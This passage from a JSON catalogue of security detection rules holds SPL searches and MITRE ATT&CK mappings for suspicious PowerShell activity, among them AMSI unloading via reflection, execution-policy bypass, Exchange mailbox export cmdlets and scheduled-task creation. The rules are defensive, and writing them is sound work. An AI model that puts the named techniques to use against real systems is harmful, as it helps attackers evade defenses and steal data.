\"*Win32_PnPEntity*\" OR ScriptBlockText= \"*Win32_ShadowCopy*\" OR ScriptBlockText= \"*Win32_DiskDrive*\" OR ScriptBlockText= \"*Win32_PhysicalMemory*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `recon_using_wmi_class_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Industroyer2", - "LockBit Ransomware", - "Malicious PowerShell", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation", - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains host recon commands detected on host $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Set Default PowerShell Execution Policy To Unrestricted or Bypass", - "description": "The following analytic detects changes to the PowerShell ExecutionPolicy in the registry to \"Unrestricted\" or \"Bypass.\" It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications under the path *Software\\Microsoft\\Powershell\\1\\ShellIds\\Microsoft.PowerShell*. This activity is significant because setting the ExecutionPolicy to these values can allow the execution of potentially malicious scripts without restriction. If confirmed malicious, this could enable an attacker to execute arbitrary code, leading to further compromise of the system and potential escalation of privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=*Software\\\\Microsoft\\\\Powershell\\\\1\\\\ShellIds\\\\Microsoft.PowerShell* Registry.registry_value_name=ExecutionPolicy (Registry.registry_value_data=Unrestricted OR Registry.registry_value_data=Bypass)) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `set_default_powershell_execution_policy_to_unrestricted_or_bypass_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "DarkGate Malware", - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "registry_path", - "type": "Unknown", - "role": [ - "Other" - ] - } - ], - "message": "A registry modification in $registry_path$ with reg key $registry_key_name$ and reg value $registry_value_name$ in host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Unloading AMSI via Reflection", - "description": "The following analytic detects the tampering of AMSI (Antimalware Scan Interface) via PowerShell reflection. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze suspicious PowerShell commands, specifically those involving `system.management.automation.amsi`. This activity is significant as it indicates an attempt to bypass AMSI, a critical security feature that helps detect and block malicious scripts. If confirmed malicious, this could allow an attacker to execute harmful code undetected, leading to potential system compromise and data exfiltration.", - "search": "`powershell` EventCode=4104 ScriptBlockText = *system.management.automation.amsi* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `unloading_amsi_via_reflection_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible AMSI Unloading via Reflection using PowerShell on $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows MSExchange Management Mailbox Cmdlet Usage", - "description": "The following analytic identifies suspicious Cmdlet usage in Exchange Management logs, focusing on commands like New-MailboxExportRequest and New-ManagementRoleAssignment. It leverages EventCode 1 and specific Message patterns to detect potential ProxyShell and ProxyNotShell abuse. This activity is significant as it may indicate unauthorized access or manipulation of mailboxes and roles, which are critical for maintaining email security. If confirmed malicious, attackers could export mailbox data, assign new roles, or search mailboxes, leading to data breaches and privilege escalation.", - "search": "`msexchange_management` EventCode=1 Message IN (\"*New-MailboxExportRequest*\", \"*New-ManagementRoleAssignment*\", \"*New-MailboxSearch*\", \"*Get-Recipient*\", \"*Search-Mailbox*\") | stats count min(_time) as firstTime max(_time) as lastTime by host Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename host AS dest | `windows_msexchange_management_mailbox_cmdlet_usage_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Cmdlets related to ProxyShell and ProxyNotShell have been identified on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Powershell Cryptography Namespace", - "description": "The following analytic detects suspicious PowerShell script execution involving the cryptography namespace via EventCode 4104. It leverages PowerShell Script Block Logging to identify scripts using cryptographic functions, excluding common hashes like SHA and MD5. This activity is significant as it is often associated with malware that decrypts or decodes additional malicious payloads. If confirmed malicious, this could allow an attacker to execute further code, escalate privileges, or establish persistence within the environment. Analysts should investigate the parent process, decrypted data, network connections, and the user executing the script.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*System.Security.Cryptography*\" AND NOT(ScriptBlockText IN (\"*SHA*\", \"*MD5*\", \"*DeriveBytes*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_cryptography_namespace_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains cryptography command detected on host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Get CIMInstance Remote Computer", - "description": "The following analytic detects the use of the Get-CimInstance cmdlet with the -ComputerName parameter, indicating an attempt to retrieve information from a remote computer. It leverages PowerShell Script Block Logging to identify this specific command execution. This activity is significant as it may indicate unauthorized remote access or information gathering by an attacker. If confirmed malicious, this could allow the attacker to collect sensitive data from remote systems, potentially leading to further exploitation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*get-ciminstance*\" AND ScriptBlockText=\"*computername*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_get_ciminstance_remote_computer_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet Get-CIMInstnace was ran on $Computer$, attempting to connect to a remote host.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Powershell Import Applocker Policy", - "description": "The following analytic detects the import of Windows PowerShell Applocker cmdlets, specifically identifying the use of \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" with an XML policy. It leverages PowerShell Script Block Logging (EventCode 4104) to capture and analyze script block text. This activity is significant as it may indicate an attempt to enforce restrictive Applocker policies, potentially used by malware like Azorult to disable antivirus products. If confirmed malicious, this could allow an attacker to bypass security controls, leading to further system compromise and persistence.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Import-Module Applocker*\" ScriptBlockText=\"*Set-AppLockerPolicy *\" ScriptBlockText=\"* -XMLPolicy *\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_import_applocker_policy_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains Import Applocker Policy command $ScriptBlockText$ with EventCode $EventCode$ on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Powershell RemoteSigned File", - "description": "The following analytic identifies the use of the \"remotesigned\" execution policy for PowerShell scripts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing \"remotesigned\" and \"-File\". This activity is significant because the \"remotesigned\" policy allows locally created scripts to run without restrictions, posing a potential security risk. If confirmed malicious, an attacker could execute unauthorized scripts, leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=\"* remotesigned *\" Processes.process=\"* -File *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_remotesigned_file_filter`", - "tags": { - "analytic_story": [ - "Amadey" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell commandline with remotesigned policy executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows PowerShell ScheduleTask", - "description": "The following analytic detects potential malicious activities involving PowerShell's task scheduling cmdlets. It leverages PowerShell Script Block Logging (EventCode 4104) to identify unusual or suspicious use of cmdlets like 'New-ScheduledTask' and 'Set-ScheduledTask'. This activity is significant as attackers often use these cmdlets for persistence and remote execution of malicious code. If confirmed malicious, this could allow attackers to maintain access, deliver additional payloads, or execute ransomware, leading to data theft or other severe impacts. Immediate investigation and mitigation are crucial to prevent further compromise.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*New-ScheduledTask*\", \"*New-ScheduledTaskAction*\", \"*New-ScheduledTaskSettingsSet*\", \"*New-ScheduledTaskTrigger*\", \"*Register-ClusteredScheduledTask*\", \"*Register-ScheduledTask*\", \"*Set-ClusteredScheduledTask*\", \"*Set-ScheduledTask*\", \"*Start-ScheduledTask*\", \"*Enable-ScheduledTask*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_scheduletask_filter`", - "tags": { - "analytic_story": [ - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The PowerShell cmdlets related to task creation, modification and start occurred on $Computer$ by $user_id$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - 